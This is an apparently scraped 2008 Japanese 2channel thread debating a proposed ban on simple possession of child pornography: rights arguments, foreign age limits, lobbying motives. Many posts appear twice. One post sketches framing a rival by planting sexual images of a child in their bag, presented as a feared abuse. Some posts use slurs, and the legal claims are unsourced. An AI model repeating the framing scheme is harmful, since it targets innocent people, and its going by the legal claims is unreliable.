又は刺激するもの。」さえなければ、ある程度まともな法律に見えなくも無い。
A：お墨付きを与える自主規制団体（利権が発生）を作れないから。
もっと端的に言うと「儲からないから」。実際、規制派の議員や宗教団体の
サポートをしている人々の中には、利権にありつきたい人達がちらほらと。
野田聖子が、自前のエロゲー利権団体を立ち上げようとした関係者に担がれた事件に、
この構造がよく現れている。「野田聖子 ジュベネイル・ガイド」で検索。
週刊新潮がすっぱ抜いた内容
ttp://otaku.rulez.jp/kill_the_assholes/noda/shincho_02.jpg
>「彼らの思惑は、ソフ倫を潰し、新たな自主規制団体を自分たちで
>立ち上げることにあるのではないか」
>「ソフ倫には、281のメーカーが加盟しています。その入会金は1社
>30万円、会費が月1万円、ソフトの審査料が1タイトル10万円、市販の
>際にパッケージに貼る"18禁"のシールが１枚あたりざっと20円。
>そうした利権に目をつけた可能性はありますね」
>>650
ガセもなにも、欧州で単純所持禁止なのはイギリス、イタリア、ドイツ、ベルギー、フランスくらい
だろ。抜けがあったら指摘してくれ。
>>652
回収どころか販売と配布が現行法で違法だろ。
>名誉毀損より児童の人権の方が重いと判断されるからこそ、
そういう議論はまったくしてない。スレで今してるとか言わないでくれ。審議会その他でまったく
やってないってこと。
誰がどう重いと判断してるんだ？
ガセもなにも、欧州で単純所持禁止なのはイギリス、イタリア、ドイツ、ベルギー、フランスくらい
だろ。抜けがあったら指摘してくれ。
>>652
回収どころか販売と配布が現行法で違法だろ。
>名誉毀損より児童の人権の方が重いと判断されるからこそ、
そういう議論はまったくしてない。スレで今してるとか言わないでくれ。審議会その他でまったく
やってないってこと。
誰がどう重いと判断してるんだ？
665 ：名無しさん＠九周年：2008/08/20(水) 13:10:31 ID:goo4DzbW0
>>652
それはあんたの感じ方の問題であって、合理的根拠があるわけではない。
名誉毀損は、取引を断られるなど社会活動に支障を及ぼすという
具体的不利益があるから規制されている。
一部の人の感じ方で、全てが決められるのが児ポ規制最大の問題。
それはあんたの感じ方の問題であって、合理的根拠があるわけではない。
名誉毀損は、取引を断られるなど社会活動に支障を及ぼすという
具体的不利益があるから規制されている。
一部の人の感じ方で、全てが決められるのが児ポ規制最大の問題。
666 ：名無しさん＠九周年：2008/08/20(水) 13:10:33 ID:3orsUuP20
まぁキモチワルイ自己主張も訳のわからん屁理屈もここに好きなだけ書いてろよ
3ヶ月もすればどうすることもできない現実ってやつが君たちを待ってるから♥www
3ヶ月もすればどうすることもできない現実ってやつが君たちを待ってるから♥www
理解する以前に臭いものに蓋してあとはそのままなのはよくないぞ
というか宗教団体は異端の思想でも表現の自由（笑）が認められてるのはおかしいよねー
創価に顕正会に真光にその他色々
というか宗教団体は異端の思想でも表現の自由（笑）が認められてるのはおかしいよねー
創価に顕正会に真光にその他色々
668 ：名無しさん＠九周年：2008/08/20(水) 13:10:51 ID:Nj4O6YJc0 BE:922255294-2BP(77)
>>657
その政治家の本音とやらが、成果を上げたためしがあるか？
その政治家の本音とやらが、成果を上げたためしがあるか？
>>637
>なりません。
>刑法で規制していいのは第一次的直接行為のみが原則。
麻薬は使用すれば、問題があるからこそ、所持が禁止される。
児童ポルノは出演すれば、人権侵害があるからこそ、所持が禁止される。
刑法の「第一次的直接行為」の論理はともかく、
根拠となる人権侵害の理解としておかしくないだろ。
また、仮に君の論理に従って、
出演による人権侵害との関連性を無視するとしても、
単純所持そのもので児童の人権侵害になるだろ。
所持され見られることは苦痛だし、
拡散の危険性があることは継続する人権侵害だ。
>なりません。
>刑法で規制していいのは第一次的直接行為のみが原則。
麻薬は使用すれば、問題があるからこそ、所持が禁止される。
児童ポルノは出演すれば、人権侵害があるからこそ、所持が禁止される。
刑法の「第一次的直接行為」の論理はともかく、
根拠となる人権侵害の理解としておかしくないだろ。
また、仮に君の論理に従って、
出演による人権侵害との関連性を無視するとしても、
単純所持そのもので児童の人権侵害になるだろ。
所持され見られることは苦痛だし、
拡散の危険性があることは継続する人権侵害だ。
671 ：名無しさん＠九周年：2008/08/20(水) 13:13:14 ID:CtDM/dN9O
>>648
我が毎日新聞を忘れてもらっては困る
９年間に渡る侮蔑記事のオンパレードは信頼できる実績
一説に寄ると『HENTAI』は我が毎日新聞が広め定着させたとも
海外に於いて我が毎日新聞に勝る実績はそうそう無いと自負するw
我が毎日新聞を忘れてもらっては困る
９年間に渡る侮蔑記事のオンパレードは信頼できる実績
一説に寄ると『HENTAI』は我が毎日新聞が広め定着させたとも
海外に於いて我が毎日新聞に勝る実績はそうそう無いと自負するw
672 ：名無しさん＠九周年：2008/08/20(水) 13:13:44 ID:WvPt3ejzO
>661
まず体育を潰して下さい
まず体育を潰して下さい
673 ：名無しさん＠九周年：2008/08/20(水) 13:14:18 ID:651Ef1zrO
まあ別の人へのレスもあるが似たような事なんでまとめて
>>655
ガセネタだろうが出まかせだろうが信じる奴は信じるし、そいつの中では事実になる。
火のないところに立った煙でも、国の為にはどうにかしないとダメだろ。
そこで厳格な基準を出して検挙実績を上げることが意味を持つ。
裁判費用とか普通に働いて数百万貯金があればどうにかなるだろ。
そもそも危うきにちかよらなけりゃいいし。
>>655
ガセネタだろうが出まかせだろうが信じる奴は信じるし、そいつの中では事実になる。
火のないところに立った煙でも、国の為にはどうにかしないとダメだろ。
そこで厳格な基準を出して検挙実績を上げることが意味を持つ。
裁判費用とか普通に働いて数百万貯金があればどうにかなるだろ。
そもそも危うきにちかよらなけりゃいいし。
674 ：名無しさん＠九周年：2008/08/20(水) 13:14:37 ID:goo4DzbW0
>>658
それは知らなかった。が、比較すると少ないだろ。
>>670
出演に問題があることと、所持の間の論理に飛躍がある。
他でそういう判断をしている例があったら出してくれ。
麻薬は直接的な被害だ。
「見られることは苦痛」って勝手に決めるのがおかしい。無理矢理出演させられた、あるいは
無知につけこんだ、そうしたレイプ作品”だけ”ならまだしも、児童ポルノの要件があまりにも
広くあいまいだ。普通のグラビア写真でも抵触してる。
それは知らなかった。が、比較すると少ないだろ。
>>670
出演に問題があることと、所持の間の論理に飛躍がある。
他でそういう判断をしている例があったら出してくれ。
麻薬は直接的な被害だ。
「見られることは苦痛」って勝手に決めるのがおかしい。無理矢理出演させられた、あるいは
無知につけこんだ、そうしたレイプ作品”だけ”ならまだしも、児童ポルノの要件があまりにも
広くあいまいだ。普通のグラビア写真でも抵触してる。
676 ：名無しさん＠九周年：2008/08/20(水) 13:15:25 ID:TtBIIL2+0
とりあえず先に児童とされる年齢の引き下げとモザイクや消しの修正の撤廃しろよ
>>631
児童の人権の重要性にかんがみて、
出演時の人権侵害を救済するため、
現行法に加えてより強く規制するのはおかしくないだろ。
>>647
>それだけじゃないとは言ってもG8で日本だけってのが
>賛成派の口癖だったのにそこだけ国際基準無視かよ
>本当に都合のいい奴らだなｗ
君が悔しいのはよくわかったが、
俺はそんな根拠は一度も上げてないしなあ…。
少なくとも「単純所持を規制して児童の人権を守る」
という点で一致してるならいいじゃないか。
国際基準といっても年齢が統一されてないんだしな。
そこは各国で判断するしかないだろ。
児童の人権の重要性にかんがみて、
出演時の人権侵害を救済するため、
現行法に加えてより強く規制するのはおかしくないだろ。
>>647
>それだけじゃないとは言ってもG8で日本だけってのが
>賛成派の口癖だったのにそこだけ国際基準無視かよ
>本当に都合のいい奴らだなｗ
君が悔しいのはよくわかったが、
俺はそんな根拠は一度も上げてないしなあ…。
少なくとも「単純所持を規制して児童の人権を守る」
という点で一致してるならいいじゃないか。
国際基準といっても年齢が統一されてないんだしな。
そこは各国で判断するしかないだろ。
イギリスの場合、何度も改正されているので分かりにくいのだけど、
1978年に「みだらな児童（16歳未満）の写真」の頒布などが罪となり、
1988年に単純所持が罪となり、1994年に「みだらな児童の擬似写真」が対象に加わり、
2003年に「児童」の定義が18歳未満に引き上げられた。
http://blog.sakichan.org/ja/2008/03/12/virtual_cp_1
1978年に「みだらな児童（16歳未満）の写真」の頒布などが罪となり、
1988年に単純所持が罪となり、1994年に「みだらな児童の擬似写真」が対象に加わり、
2003年に「児童」の定義が18歳未満に引き上げられた。
http://blog.sakichan.org/ja/2008/03/12/virtual_cp_1
679 ：名無しさん＠九周年：2008/08/20(水) 13:17:11 ID:puGk+Tzn0
レイプ魔がいるからチンコ単純所持禁止になるのも
時間の問題だな
人権侵害とさえ言えばなんでもありになって来たな
チンコによる攻撃の危険性があることは継続する人権侵害だ。
時間の問題だな
人権侵害とさえ言えばなんでもありになって来たな
チンコによる攻撃の危険性があることは継続する人権侵害だ。
だからロリコンは反省してやめられるもんじゃないっていってんのに理解が
悪い人たちがいるな。実際には単純所持禁止なんてほとんど意味ない。
付随して予想される弊害も無視できん。
普通に商売でロリポルノ生産してるヤツを集中取締り+重罰化しろよ。
そっちの方がよっぽどいい。
それでもかいくぐってやるやつ入手するヤツの絶滅は無理。
悪い人たちがいるな。実際には単純所持禁止なんてほとんど意味ない。
付随して予想される弊害も無視できん。
普通に商売でロリポルノ生産してるヤツを集中取締り+重罰化しろよ。
そっちの方がよっぽどいい。
それでもかいくぐってやるやつ入手するヤツの絶滅は無理。
682 ：名無しさん＠九周年：2008/08/20(水) 13:18:22 ID:d8gUr3oL0
>>652貴様は何を電波妄想を飛ばしてるんだ
683 ：名無しさん＠九周年：2008/08/20(水) 13:19:02 ID:8eANE2ZRO
単純所持規制については定義を明確化してやる必要がある。
創作物規制についてはもはや論外だな。アメリカでも違憲だしな。
あと、外見に関する要件は入れちゃダメだ。
外見が幼い成人の行動の自由を制限する人権侵害だからな。
創作物規制についてはもはや論外だな。アメリカでも違憲だしな。
あと、外見に関する要件は入れちゃダメだ。
外見が幼い成人の行動の自由を制限する人権侵害だからな。
>>673
つーか「日本ってどこ？」が欧州人だろ。
自意識過剰すぎる。斜陽になった最近は特に、そんなに注目されてない。
>>677
>児童の人権の重要性にかんがみて、
なんで児童だけ特別扱いなのか、そこのところを実際の議論の場では取り上げられてない。
「今」俺から突っ込まれたから「君が」持ち出しただけだ。
そんな状況で11月成立ってのが性急すぎる。
そもそも人権侵害がどうのこうのいい始めたのは、「日本が児童ポルノ大国で世界から非難
されてるから」って嘘がバレ、その後に強力効果論がちゃんと研究されてないってことから引
っ込め……で、武器がなくなったから夏ごろから強く持ち出しはじめたくせに。
春頃にはスレでそんな論はほとんどなかった。福田の答弁でもそういう話は出てない。
つーか「日本ってどこ？」が欧州人だろ。
自意識過剰すぎる。斜陽になった最近は特に、そんなに注目されてない。
>>677
>児童の人権の重要性にかんがみて、
なんで児童だけ特別扱いなのか、そこのところを実際の議論の場では取り上げられてない。
「今」俺から突っ込まれたから「君が」持ち出しただけだ。
そんな状況で11月成立ってのが性急すぎる。
そもそも人権侵害がどうのこうのいい始めたのは、「日本が児童ポルノ大国で世界から非難
されてるから」って嘘がバレ、その後に強力効果論がちゃんと研究されてないってことから引
っ込め……で、武器がなくなったから夏ごろから強く持ち出しはじめたくせに。
春頃にはスレでそんな論はほとんどなかった。福田の答弁でもそういう話は出てない。
685 ：名無しさん＠九周年：2008/08/20(水) 13:19:11 ID:goo4DzbW0
>>670
拳銃・麻薬の特殊性は過去ログ見れ。
＞単純所持そのもので児童の人権侵害になるだろ。
だからこっちこそならん。
まだ出演との関連性による人権侵害性を主張した方が論理として成立する。
＞所持され見られることは苦痛だし、
これは真っ赤な嘘。この論理は100%絶対に成立しえない。
所持者が○日○時に児ポを廃棄しても、その時点から、
苦痛が軽減するわけでも、増大するわけでもない。
所持と苦痛にはまったく因果的関連性が存在しない。
拳銃・麻薬の特殊性は過去ログ見れ。
＞単純所持そのもので児童の人権侵害になるだろ。
だからこっちこそならん。
まだ出演との関連性による人権侵害性を主張した方が論理として成立する。
＞所持され見られることは苦痛だし、
これは真っ赤な嘘。この論理は100%絶対に成立しえない。
所持者が○日○時に児ポを廃棄しても、その時点から、
苦痛が軽減するわけでも、増大するわけでもない。
所持と苦痛にはまったく因果的関連性が存在しない。
>>654
>唯一じゃなくても根拠として出してる上、
>「日本だけが国際基準に合わせないと、逮捕の歩調が合わない」とか言ってるだろ。
だって、年齢については、合わせるべき国際基準はないじゃないかｗ
各国でばらばらだろ…。どれにあわせろというんだよｗ
一方単純所持規制は各国足並みを揃えているじゃないか。
それに合わせるというのはおかしな話ではない。
>日本だけ、ポルノの要件が広すぎる。ヌードまでも該当してるのは日本だけだ
児童による扇情的なヌードが児童ポルノに一切該当しないのは本当なのか？
どれだけ扇情的なポーズを取らせた写真集を作っても全ての国でOKなのか？
俺は詳しくないから聞いてる。知ってるなら教えてくれ。
>唯一じゃなくても根拠として出してる上、
>「日本だけが国際基準に合わせないと、逮捕の歩調が合わない」とか言ってるだろ。
だって、年齢については、合わせるべき国際基準はないじゃないかｗ
各国でばらばらだろ…。どれにあわせろというんだよｗ
一方単純所持規制は各国足並みを揃えているじゃないか。
それに合わせるというのはおかしな話ではない。
>日本だけ、ポルノの要件が広すぎる。ヌードまでも該当してるのは日本だけだ
児童による扇情的なヌードが児童ポルノに一切該当しないのは本当なのか？
どれだけ扇情的なポーズを取らせた写真集を作っても全ての国でOKなのか？
俺は詳しくないから聞いてる。知ってるなら教えてくれ。
687 ：名無しさん＠九周年：2008/08/20(水) 13:20:43 ID:d8gUr3oL0
>>670なにそのキチガイ理論
689 ：名無しさん＠九周年：2008/08/20(水) 13:21:07 ID:bn9LHFFp0
なんか死にたくなってきた
頭の不自由な方による釣り堀はここですか。
691 ：名無しさん＠九周年：2008/08/20(水) 13:22:35 ID:5F6Y7Mvw0
692 ：名無しさん＠九周年：2008/08/20(水) 13:22:41 ID:goo4DzbW0
>>677
＞出演時の人権侵害を救済するため、
なら出演を規制・取り締まれば良いだけ。
更に加えると、被害法益主体が存在しない
場合（出演者が既に死亡・合法国の外国人等）
論理的には取り締まる必要性すらない。本来はな。
＞出演時の人権侵害を救済するため、
なら出演を規制・取り締まれば良いだけ。
更に加えると、被害法益主体が存在しない
場合（出演者が既に死亡・合法国の外国人等）
論理的には取り締まる必要性すらない。本来はな。
>>686
アンカーミス訂正。
このレスは>>654に対するレスではなく、>>648だ。
ごめんね。
>>664
>>名誉毀損より児童の人権の方が重いと判断されるからこそ、
>そういう議論はまったくしてない。
>スレで今してるとか言わないでくれ。審議会その他でまったく
>やってないってこと。
議論も何も、単純所持で厳しく対処するという決定そのものが、
児童ポルノによる人権侵害を重視していることを示すじゃないか…。
児童の人権保護の重要性はめちゃくちゃアピールされてるじゃないか。
名誉毀損の単純所持禁止なんて法案化も提案されてないだろ。
なんでそんなことも理解できないんだ？
アンカーミス訂正。
このレスは>>654に対するレスではなく、>>648だ。
ごめんね。
>>664
>>名誉毀損より児童の人権の方が重いと判断されるからこそ、
>そういう議論はまったくしてない。
>スレで今してるとか言わないでくれ。審議会その他でまったく
>やってないってこと。
議論も何も、単純所持で厳しく対処するという決定そのものが、
児童ポルノによる人権侵害を重視していることを示すじゃないか…。
児童の人権保護の重要性はめちゃくちゃアピールされてるじゃないか。
名誉毀損の単純所持禁止なんて法案化も提案されてないだろ。
なんでそんなことも理解できないんだ？
694 ：名無しさん＠九周年：2008/08/20(水) 13:23:39 ID:LYJG4/0F0
>>631
少女コミック誌の有害図書指定については、どうやら２ちゃんでもスレッドが立っていたようです
ttp://news23.2ch.net/test/read.cgi/news/1181313725/l50
大阪では、上記のスレッドがたった時点で８１冊の少女向けコミック誌が有害図書に指定されているようです。
どうやら男性差別は、あなたの被害妄想にすぎなかったことが証明された模様です
少女コミック誌の有害図書指定については、どうやら２ちゃんでもスレッドが立っていたようです
ttp://news23.2ch.net/test/read.cgi/news/1181313725/l50
大阪では、上記のスレッドがたった時点で８１冊の少女向けコミック誌が有害図書に指定されているようです。
どうやら男性差別は、あなたの被害妄想にすぎなかったことが証明された模様です
以前観た深夜番組でエロゲーの製作会社の職人さんが出てた。その人がこんなこと言ってた。
「そりゃああんまりでっかい声で言える仕事じゃねえけどさ。おれの仲間でも娘にばれて何年も口聞いてもらえなかったって奴居るしさ。
エロゲーなんて言ったら気持ち悪いとか､変態とかさ｡女性差別だって抗議にきた団体もあったよ。
でもさ、ソープもそうだけど、だ〜れもソープやエロゲで抜きたいなんて思ってる男なんていねえんだよね」
誰だっていい女とちゃんと恋愛して､ほれられてセックスしたいよね。でもさ皆が皆そんなこと出来ないじゃない。
ましてやニートの人なんてそんなにしょっちゅうソープ行くほどお金貰ってないしさ。昔一回ある催しで寄付したときがあってさ､一人のアニオタが
『ソープとか 行っても何となくいやな顔をされてるのが分かる』って言って自分らの製作したエロゲのをいとおしそうに受け取ってくれたんだよね。
それ以来おれは 例え人におま（ピー）ゲームって言われても、すこしでもあういう人達が喜んでくれるようなゲームを研究したいわけよ」
「そりゃああんまりでっかい声で言える仕事じゃねえけどさ。おれの仲間でも娘にばれて何年も口聞いてもらえなかったって奴居るしさ。
エロゲーなんて言ったら気持ち悪いとか､変態とかさ｡女性差別だって抗議にきた団体もあったよ。
でもさ、ソープもそうだけど、だ〜れもソープやエロゲで抜きたいなんて思ってる男なんていねえんだよね」
誰だっていい女とちゃんと恋愛して､ほれられてセックスしたいよね。でもさ皆が皆そんなこと出来ないじゃない。
ましてやニートの人なんてそんなにしょっちゅうソープ行くほどお金貰ってないしさ。昔一回ある催しで寄付したときがあってさ､一人のアニオタが
『ソープとか 行っても何となくいやな顔をされてるのが分かる』って言って自分らの製作したエロゲのをいとおしそうに受け取ってくれたんだよね。
それ以来おれは 例え人におま（ピー）ゲームって言われても、すこしでもあういう人達が喜んでくれるようなゲームを研究したいわけよ」
696 ：名無しさん＠九周年：2008/08/20(水) 13:24:06 ID:TtBIIL2+0
ID:4D6q5+3J0
ID:3wstFBpE0
外国の児童の年齢はどっちが正しいんだ？
ID:3wstFBpE0
外国の児童の年齢はどっちが正しいんだ？
697 ：名無しさん＠九周年：2008/08/20(水) 13:25:08 ID:651Ef1zrO
>>684
じゃあなおさらこれで存在感をしめすのもありでしょ。
規制の在り方のスタンダードを日本がやる、悪くないな。
そもそも反対派は冤罪以外の何を恐れるの？
金と時間をかければ冤罪による名誉失墜からの回復は無理な話じゃない。
ロリコンによる犯罪はあとをたたず、しかも日本は先進国の
中では規制が恐ろしくぬるい。
変態がどうなろうが一般人はしったこっちゃない
じゃあなおさらこれで存在感をしめすのもありでしょ。
規制の在り方のスタンダードを日本がやる、悪くないな。
そもそも反対派は冤罪以外の何を恐れるの？
金と時間をかければ冤罪による名誉失墜からの回復は無理な話じゃない。
ロリコンによる犯罪はあとをたたず、しかも日本は先進国の
中では規制が恐ろしくぬるい。
変態がどうなろうが一般人はしったこっちゃない
698 ：名無しさん＠九周年：2008/08/20(水) 13:25:58 ID:goo4DzbW0
>>686
＞一方単純所持規制は各国足並みを揃えているじゃないか。
西洋キリスト教国だけな。
それ以外で、こんな馬鹿げた宗教的焚書法をやっている国はない。
まあ少しはあるかも知れんが、圧倒的に西方キリスト教会国で占められている。
＞一方単純所持規制は各国足並みを揃えているじゃないか。
西洋キリスト教国だけな。
それ以外で、こんな馬鹿げた宗教的焚書法をやっている国はない。
まあ少しはあるかも知れんが、圧倒的に西方キリスト教会国で占められている。
>>678
引用するなら
> 16歳以上で婚姻関係にあるないしは同棲している状況で、児童の同意があって第三者にそれが
>見せたり配られたりしていない状況は罪としない、という例外措置がとられている。
ここまでちゃんと引用しろ。
じゃ、18歳未満なのは世界で日本とアメリカとイギリスとカナダか？
>>686
各国が基準にしてるのが、それぞれの国の性交同意年齢だ。
性交について自分で判断できないとされる年齢、つまり合意があっても強姦になる年齢が基準。
日本では13歳未満がそれに該当する。
>扇情的なヌード
それはヌードではなくポルノって定義。エロティカとポルノの違いっていう概念が日本にないから
そういう質問をしてくるんだろう。
ゴーギャンその他のヌード画がポルノ扱いされるか？そのあたりは、作品ごとにちゃんと判断す
るべきだし、判断されてるからヌード写真集の販売が許されている。
引用するなら
> 16歳以上で婚姻関係にあるないしは同棲している状況で、児童の同意があって第三者にそれが
>見せたり配られたりしていない状況は罪としない、という例外措置がとられている。
ここまでちゃんと引用しろ。
じゃ、18歳未満なのは世界で日本とアメリカとイギリスとカナダか？
>>686
各国が基準にしてるのが、それぞれの国の性交同意年齢だ。
性交について自分で判断できないとされる年齢、つまり合意があっても強姦になる年齢が基準。
日本では13歳未満がそれに該当する。
>扇情的なヌード
それはヌードではなくポルノって定義。エロティカとポルノの違いっていう概念が日本にないから
そういう質問をしてくるんだろう。
ゴーギャンその他のヌード画がポルノ扱いされるか？そのあたりは、作品ごとにちゃんと判断す
るべきだし、判断されてるからヌード写真集の販売が許されている。
>>309
残念ながら亡くなった夫が隠し持っていた銃を届けた（通報した）奥さんが銃刀法違反で書類送検された。
残念ながら亡くなった夫が隠し持っていた銃を届けた（通報した）奥さんが銃刀法違反で書類送検された。
701 ：名無しさん＠九周年：2008/08/20(水) 13:26:36 ID:bn9LHFFp0
でも性犯罪自体は少ないぜ
・諸外国の例を挙げれば、イギリスと台湾が１６歳未満、フランスが１５歳未満、オランダは１２歳未満です。
国際基準に沿うと日本の18歳は明らかに高いから下げたほうがいいだろうな
国際基準に合わせると口癖のように言ってた賛成派が年齢については完全に国際基準無視
どんだけ何も考えてないんだよ賛成派ｗ
国際基準に沿うと日本の18歳は明らかに高いから下げたほうがいいだろうな
国際基準に合わせると口癖のように言ってた賛成派が年齢については完全に国際基準無視
どんだけ何も考えてないんだよ賛成派ｗ
>>665
>名誉毀損は、取引を断られるなど社会活動に支障を及ぼすという
>具体的不利益があるから規制されている。
>一部の人の感じ方で、全てが決められるのが児ポ規制最大の問題。
いくら君が「一部の人の感じ方に過ぎない」と叫んだところで、
法案が通って法律化されれば、法律上は
「一部の人の感じ方ではない」ということを決定付けるじゃないか。
法的に、国民の合意が認められて、正当性の根拠になるだろ。
子供じゃないんだから、そんな単純な仕組みくらい理解しようよ…。
>名誉毀損は、取引を断られるなど社会活動に支障を及ぼすという
>具体的不利益があるから規制されている。
>一部の人の感じ方で、全てが決められるのが児ポ規制最大の問題。
いくら君が「一部の人の感じ方に過ぎない」と叫んだところで、
法案が通って法律化されれば、法律上は
「一部の人の感じ方ではない」ということを決定付けるじゃないか。
法的に、国民の合意が認められて、正当性の根拠になるだろ。
子供じゃないんだから、そんな単純な仕組みくらい理解しようよ…。
704 ：名無しさん＠九周年：2008/08/20(水) 13:27:54 ID:d8gUr3oL0
705 ：名無しさん＠九周年：2008/08/20(水) 13:29:16 ID:goo4DzbW0
706 ：名無しさん＠九周年：2008/08/20(水) 13:29:32 ID:WvPt3ejzO
手塚、横光、藤子Fは文部科学省から全作品に賞贈られてる
とりあえずこいつらはセーフ
横山光輝がショタの語源なのはどうなるか知らんｗ
とりあえずこいつらはセーフ
横山光輝がショタの語源なのはどうなるか知らんｗ
707 ：名無しさん＠九周年：2008/08/20(水) 13:29:54 ID:7jo0ogr4O
反対派は長年に渡り集めたコレクションを処分しなければならない事態を恐れます。
708 ：名無しさん＠九周年：2008/08/20(水) 13:30:07 ID:8eANE2ZRO
709 ：名無しさん＠九周年：2008/08/20(水) 13:30:07 ID:d8gUr3oL0
>>703
＞いくら君が「一部の人の感じ方に過ぎない」と叫んだところで、
＞法案が通って法律化されれば、法律上は
＞「一部の人の感じ方ではない」ということを決定付けるじゃないか。
いくらお前が叫んだところで現状、法案は通ってないんだが。
勝手に都合の良い前提で語るなよ。レス抽出してみたが何から何まで妄想だな。
＞いくら君が「一部の人の感じ方に過ぎない」と叫んだところで、
＞法案が通って法律化されれば、法律上は
＞「一部の人の感じ方ではない」ということを決定付けるじゃないか。
いくらお前が叫んだところで現状、法案は通ってないんだが。
勝手に都合の良い前提で語るなよ。レス抽出してみたが何から何まで妄想だな。
>>688
そんなのお互い様だろ。
で、EUの加盟国は27あるが、そのうち9カ国ってことだな。半数にも満たないじゃないか。
>>693
>議論も何も、単純所持で厳しく対処するという決定そのものが、
>児童ポルノによる人権侵害を重視していることを示すじゃないか…
人権は元々議論されてない。ポルノがいかに蔓延しているか、それが問題視されてるかが
主な争点だった。
歴史を捏造するな。
>>697
日本の法案改正くらいで存在感示せるわけないだろ。
それに日本は先進国のなかでも規制が厳しい部類だ。上位20ヶ国くらいに入ってる。
先進国といったらアメリカとイギリスくらいしか知らんのか？
そんなのお互い様だろ。
で、EUの加盟国は27あるが、そのうち9カ国ってことだな。半数にも満たないじゃないか。
>>693
>議論も何も、単純所持で厳しく対処するという決定そのものが、
>児童ポルノによる人権侵害を重視していることを示すじゃないか…
人権は元々議論されてない。ポルノがいかに蔓延しているか、それが問題視されてるかが
主な争点だった。
歴史を捏造するな。
>>697
日本の法案改正くらいで存在感示せるわけないだろ。
それに日本は先進国のなかでも規制が厳しい部類だ。上位20ヶ国くらいに入ってる。
先進国といったらアメリカとイギリスくらいしか知らんのか？
>>674
人権侵害があるから、回収に努めるべきことに合理性がある
という点では、名誉毀損も児童ポルノも共通している。
その回収について、どのような手段まで認めるかは、
その人権侵害の程度によって異なるだけ。
そして、どこまで認めるか判断を問うのがこの改正法だろ。
人権侵害があるから、回収に努めるべきことに合理性がある
という点では、名誉毀損も児童ポルノも共通している。
その回収について、どのような手段まで認めるかは、
その人権侵害の程度によって異なるだけ。
そして、どこまで認めるか判断を問うのがこの改正法だろ。
714 ：名無しさん＠九周年：2008/08/20(水) 13:31:42 ID:6mUDjANb0
ネットでゲットした諏訪野しおりのjpgや西村理香のmpgも捕まるのか？
715 ：名無しさん＠九周年：2008/08/20(水) 13:32:45 ID:goo4DzbW0
>>703
多数が賛成したら正当化根拠になる、というのでは法治国家じゃなくなる。
多数がイスラム教弾圧を決議したら、
イスラム教禁教令を出して良いというものではない。
具体的には、多数決で決めて良いのは自由権領域の外の話で
個人の私的に所有する所持物の保障など、もろ自由権領域のど真ん中の話だ。
多数が賛成したら正当化根拠になる、というのでは法治国家じゃなくなる。
多数がイスラム教弾圧を決議したら、
イスラム教禁教令を出して良いというものではない。
具体的には、多数決で決めて良いのは自由権領域の外の話で
個人の私的に所有する所持物の保障など、もろ自由権領域のど真ん中の話だ。
716 ：名無しさん＠九周年：2008/08/20(水) 13:33:22 ID:d8gUr3oL0
>>713憲法の基本権を破棄する法案の方が人権侵害そのものだ
717 ：名無しさん＠九周年：2008/08/20(水) 13:34:05 ID:QXsiPaB+0
>>12
それはそれでいいと思う
それはそれでいいと思う
>>703
妥当性の話をしてるのに、「法案が通ったら国民の合意」ってむちゃくちゃだな。
PSE法は、じゃあ国民的合意があったんだ。へえ。
>>713
だからそういった議論をしてるのは君だけなんだってば。
政治家がやってない。やってないことをあたかも「それを重視して」みたいに捏造するな。
妥当性の話をしてるのに、「法案が通ったら国民の合意」ってむちゃくちゃだな。
PSE法は、じゃあ国民的合意があったんだ。へえ。
>>713
だからそういった議論をしてるのは君だけなんだってば。
政治家がやってない。やってないことをあたかも「それを重視して」みたいに捏造するな。
719 ：名無しさん＠九周年：2008/08/20(水) 13:34:44 ID:ajbtBv3qO
DBのブルマって初シーズンでは16才だったろ？
あれは問題だなｗ
あれは問題だなｗ
720 ：名無しさん＠九周年：2008/08/20(水) 13:34:54 ID:KyD9b/bk0
与党は販売禁止よりも単純所持禁止を優先する理由について説明すべきだろう。
常識的に考えて・・・
常識的に考えて・・・
721 ：名無しさん＠九周年：2008/08/20(水) 13:35:11 ID:jW3JULN60
>>714
真っ先に捕まります
真っ先に捕まります
>>710
>いくらお前が叫んだところで現状、法案は通ってないんだが。
>勝手に都合の良い前提で語るなよ。
勝手な都合も何も、
多数派の与党から、法案が提出される時点で、
「一部の人の感じ方」じゃないことくらい理解できるだろ…。
矮小化しようとしても、無理がありすぎるよ。
>レス抽出してみたが何から何まで妄想だな。
そんなレッテルを何も示さず貼られてもなあ…。
それじゃ、ロリコンは基地外と言ってる連中と一緒だぞ。
>いくらお前が叫んだところで現状、法案は通ってないんだが。
>勝手に都合の良い前提で語るなよ。
勝手な都合も何も、
多数派の与党から、法案が提出される時点で、
「一部の人の感じ方」じゃないことくらい理解できるだろ…。
矮小化しようとしても、無理がありすぎるよ。
>レス抽出してみたが何から何まで妄想だな。
そんなレッテルを何も示さず貼られてもなあ…。
それじゃ、ロリコンは基地外と言ってる連中と一緒だぞ。
723 ：名無しさん＠九周年：2008/08/20(水) 13:35:50 ID:pw3rMqKYO
■ライバルを陥れたい場合
そっとカバンに幼女エロ写真を入れる。
→痴漢と騒ぎ立てる。
→取り調べでカバンから写真がポロリ。
→痴漢確定。社会的地位抹殺。
ってことになると怖い。
そっとカバンに幼女エロ写真を入れる。
→痴漢と騒ぎ立てる。
→取り調べでカバンから写真がポロリ。
→痴漢確定。社会的地位抹殺。
ってことになると怖い。
724 ：名無しさん＠九周年：2008/08/20(水) 13:36:19 ID:iEJorCPP0
725 ：名無しさん＠九周年：2008/08/20(水) 13:36:25 ID:goo4DzbW0
>>713
だから主観的な「程度論」じゃねえんだよ。
人権侵害防止に、必要にして最小限かどうかが問題なの。
差止で流通抑止ができるなら、それ以上の規制は、
国民の過度の権利侵害となるので、本来やってはならない。
だから主観的な「程度論」じゃねえんだよ。
人権侵害防止に、必要にして最小限かどうかが問題なの。
差止で流通抑止ができるなら、それ以上の規制は、
国民の過度の権利侵害となるので、本来やってはならない。
こんな憲法違反な法改正を本気で通そうとしてる創価はやっぱりカルト宗教だわｗ
成立したって違憲判決出てすぐに無効になる
「国際基準」という都合のいい言い訳してるけど創価や政治家は利権が欲しいだけ
成立したって違憲判決出てすぐに無効になる
「国際基準」という都合のいい言い訳してるけど創価や政治家は利権が欲しいだけ
定義が曖昧すぎるし、規制目的も謎
>>675
>麻薬は直接的な被害だ。
麻薬所持禁止の直接的な被害ってなんだ？
麻薬の使用による害悪が前提にならなきゃ出てこないだろ。
それと一緒で、出演による苦痛も、所持禁止の前提の一つだよ。
>普通のグラビア写真でも抵触してる。
普通のグラビア写真てなんだ？
児童ポルノの製造・販売が禁止された現在も、
